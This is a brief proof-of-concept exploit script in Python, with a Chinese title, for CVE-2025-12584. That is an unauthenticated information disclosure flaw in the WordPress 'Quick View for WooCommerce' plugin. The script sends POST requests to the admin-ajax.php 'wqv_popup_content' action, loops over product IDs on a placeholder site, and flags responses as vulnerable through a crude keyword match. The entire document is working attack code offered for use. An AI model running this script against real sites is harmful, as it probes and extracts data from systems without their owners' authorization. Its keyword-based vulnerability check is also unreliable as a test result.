CVE-2025-12584 WordPress Quick View for WooCommerce插件信息泄露漏洞

import requests import json # CVE-2025-12584 PoC - Information Disclosure in Quick View for WooCommerce # Target: WordPress site with Quick View for WooCommerce plugin <= 2.2.17 def exploit_cve_2025_12584(target_url, product_id): """ Exploit for CVE-2025-12584: Information Exposure via wqv_popup_content AJAX endpoint Args: target_url: Base URL of the WordPress site product_id: ID of the product to extract information from Returns: Product information if vulnerable, None otherwise """ # AJAX endpoint for quick view endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the exploit request data = { 'action': 'wqv_popup_content', 'product_id': product_id } try: # Send unauthenticated request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: # Check if product info is returned (vulnerability present) if 'price' in response.text or 'product' in response.text.lower(): return { 'status': 'VULNERABLE', 'product_id': product_id, 'response': response.text[:500] # First 500 chars } except Exception as e: return {'status': 'ERROR', 'message': str(e)} return {'status': 'NOT_VULNERABLE'} # Example usage if __name__ == '__main__': target = 'https://example-wordpress-site.com' # Test with various product IDs for pid in range(1, 10): result = exploit_cve_2025_12584(target, pid) if result.get('status') == 'VULNERABLE': print(f"[!] Product ID {pid} is accessible (VULNERABLE)") print(f"[!] Response preview: {result['response']}")